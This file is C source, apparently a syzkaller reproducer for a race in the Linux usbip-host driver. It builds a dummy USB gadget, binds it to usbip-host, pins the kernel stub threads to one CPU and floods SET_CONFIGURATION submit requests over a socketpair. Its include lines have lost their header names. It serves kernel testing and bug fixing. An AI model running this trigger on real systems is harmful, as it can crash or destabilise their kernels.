// https://syzkaller.appspot.com/bug?id=5216816dfc2fb5e2014fc91899404df11687825d #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define GADGET_PATH "/sys/kernel/config/usb_gadget/g1" static int write_str(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } int ret = write(fd, val, strlen(val)); if (ret < 0) { printf("[-] Failed to write to %s: %s\n", path, strerror(errno)); } close(fd); return ret; } static void get_udc_name(char *udc_name, size_t max_len) { DIR *dir = opendir("/sys/class/udc"); strncpy(udc_name, "dummy_udc.0", max_len); if (!dir) return; struct dirent *de; while ((de = readdir(dir)) != NULL) { if (de->d_name[0] != '.') { strncpy(udc_name, de->d_name, max_len); break; } } closedir(dir); } static int create_dummy_gadget(void) { char udc_name[64]; get_udc_name(udc_name, sizeof(udc_name)); if (mkdir(GADGET_PATH, 0755) < 0 && errno != EEXIST) { printf("[-] Failed to create gadget dir: %s\n", strerror(errno)); return -1; } write_str(GADGET_PATH "/idVendor", "0x1d6b\n"); write_str(GADGET_PATH "/idProduct", "0x0104\n"); write_str(GADGET_PATH "/bDeviceClass", "0\n"); mkdir(GADGET_PATH "/strings/0x409", 0755); write_str(GADGET_PATH "/strings/0x409/serialnumber", "123456\n"); write_str(GADGET_PATH "/strings/0x409/manufacturer", "Linux\n"); write_str(GADGET_PATH "/strings/0x409/product", "Dummy\n"); mkdir(GADGET_PATH "/configs/c.1", 0755); mkdir(GADGET_PATH "/configs/c.1/strings/0x409", 0755); write_str(GADGET_PATH "/configs/c.1/strings/0x409/configuration", "Conf\n"); mkdir(GADGET_PATH "/functions/acm.usb0", 0755); symlink(GADGET_PATH "/functions/acm.usb0", GADGET_PATH "/configs/c.1/acm.usb0"); return write_str(GADGET_PATH "/UDC", udc_name); } static int find_dummy_busid(char *out_busid, size_t max_len) { DIR *dir = opendir("/sys/bus/usb/devices"); if (!dir) return -1; struct dirent *de; int found = 0; while ((de = readdir(dir)) != NULL) { if (de->d_name[0] == '.' || strstr(de->d_name, "usb")) continue; char vid_path[512], pid_path[512], vid[16] = {0}, pid[16] = {0}; snprintf(vid_path, sizeof(vid_path), "/sys/bus/usb/devices/%s/idVendor", de->d_name); snprintf(pid_path, sizeof(pid_path), "/sys/bus/usb/devices/%s/idProduct", de->d_name); int fv = open(vid_path, O_RDONLY); int fp = open(pid_path, O_RDONLY); if (fv >= 0 && fp >= 0) { if (read(fv, vid, sizeof(vid) - 1) > 0 && read(fp, pid, sizeof(pid) - 1) > 0) { if (strncmp(vid, "1d6b", 4) == 0 && strncmp(pid, "0104", 4) == 0) { snprintf(out_busid, max_len, "%s", de->d_name); found = 1; } } } if (fv >= 0) close(fv); if (fp >= 0) close(fp); if (found) break; } closedir(dir); return found ? 0 : -1; } static uint32_t get_devid(const char *busid) { char path[256]; char buf[32]; int busnum = 0, devnum = 0; snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/busnum", busid); int fd = open(path, O_RDONLY); if (fd >= 0) { if (read(fd, buf, sizeof(buf) - 1) > 0) busnum = atoi(buf); close(fd); } snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/devnum", busid); fd = open(path, O_RDONLY); if (fd >= 0) { if (read(fd, buf, sizeof(buf) - 1) > 0) devnum = atoi(buf); close(fd); } return (busnum << 16) | devnum; } static int pin_thread(const char *comm, int cpu) { DIR *dir = opendir("/proc"); if (!dir) return 0; struct dirent *de; int found = 0; while ((de = readdir(dir)) != NULL) { if (de->d_name[0] < '0' || de->d_name[0] > '9') continue; char path[256]; snprintf(path, sizeof(path), "/proc/%s/comm", de->d_name); int fd = open(path, O_RDONLY); if (fd >= 0) { char buf[256] = {0}; if (read(fd, buf, sizeof(buf) - 1) > 0) { if (strncmp(buf, comm, strlen(comm)) == 0) { pid_t pid = atoi(de->d_name); cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); sched_setaffinity(pid, sizeof(set), &set); found = 1; } } close(fd); } } closedir(dir); return found; } void *reader_thread(void *arg) { int fd = *(int *)arg; char buf[4096]; while (read(fd, buf, sizeof(buf)) > 0); return NULL; } int main(void) { printf("[*] Mounting configfs...\n"); if (mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) != 0) { if (errno != EBUSY) { printf("[-] Failed to mount configfs: %s\n", strerror(errno)); } } printf("[*] Creating dummy gadget...\n"); if (create_dummy_gadget() < 0) { printf("[-] Failed to create dummy gadget\n"); return 1; } printf("[+] Dummy gadget created.\n"); char busid[64] = {0}; for (int i = 0; i < 20; i++) { if (find_dummy_busid(busid, sizeof(busid)) == 0) break; usleep(100000); } if (busid[0] == 0) { printf("[-] Failed to find dummy busid\n"); return 1; } printf("[+] Found dummy busid: %s\n", busid); char cmd[512]; snprintf(cmd, sizeof(cmd), "add %s", busid); if (write_str("/sys/bus/usb/drivers/usbip-host/match_busid", cmd) < 0) { printf("[-] Failed to add busid to match_busid\n"); } snprintf(cmd, sizeof(cmd), "/sys/bus/usb/devices/%s/driver/unbind", busid); write_str(cmd, busid); // Ignore error, might not be bound if (write_str("/sys/bus/usb/drivers/usbip-host/bind", busid) < 0) { printf("[-] Failed to bind to usbip-host\n"); return 1; } printf("[+] Bound to usbip-host.\n"); int sv[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { printf("[-] Failed to create socketpair: %s\n", strerror(errno)); return 1; } snprintf(cmd, sizeof(cmd), "/sys/bus/usb/devices/%s/usbip_sockfd", busid); char sockfd_str[32]; snprintf(sockfd_str, sizeof(sockfd_str), "%d\n", sv[0]); if (write_str(cmd, sockfd_str) < 0) { printf("[-] Failed to write usbip_sockfd\n"); return 1; } printf("[+] Socket passed to usbip-host.\n"); for (int i = 0; i < 20; i++) { int rx = pin_thread("stub_rx", 0); int tx = pin_thread("stub_tx", 0); if (rx && tx) { printf("[+] Pinned stub_rx and stub_tx to CPU 0.\n"); break; } usleep(100000); } pthread_t th; pthread_create(&th, NULL, reader_thread, &sv[1]); struct { uint32_t command; uint32_t seqnum; uint32_t devid; uint32_t direction; uint32_t ep; uint32_t transfer_flags; int32_t transfer_buffer_length; int32_t start_frame; int32_t number_of_packets; int32_t interval; unsigned char setup[8]; } __attribute__((packed)) req; memset(&req, 0, sizeof(req)); req.command = htonl(1); // USBIP_CMD_SUBMIT req.devid = htonl(get_devid(busid)); req.direction = htonl(0); // USBIP_DIR_OUT req.ep = htonl(0); req.setup[0] = 0x00; // bRequestType = USB_RECIP_DEVICE req.setup[1] = 0x09; // bRequest = USB_REQ_SET_CONFIGURATION // wValue, wIndex, wLength = 0 printf("[*] Flooding requests to trigger race...\n"); for (int i = 0; i < 500000; i++) { req.seqnum = htonl(i); if (write(sv[1], &req, sizeof(req)) != sizeof(req)) { printf("[-] Write failed at iteration %d: %s\n", i, strerror(errno)); break; } } printf("[+] Done flooding.\n"); close(sv[1]); pthread_join(th, NULL); // Unbind and cleanup to trigger any deferred bugs snprintf(cmd, sizeof(cmd), "/sys/bus/usb/devices/%s/driver/unbind", busid); write_str(cmd, busid); snprintf(cmd, sizeof(cmd), "del %s", busid); write_str("/sys/bus/usb/drivers/usbip-host/match_busid", cmd); usleep(500000); printf("[+] Exiting.\n"); return 0; }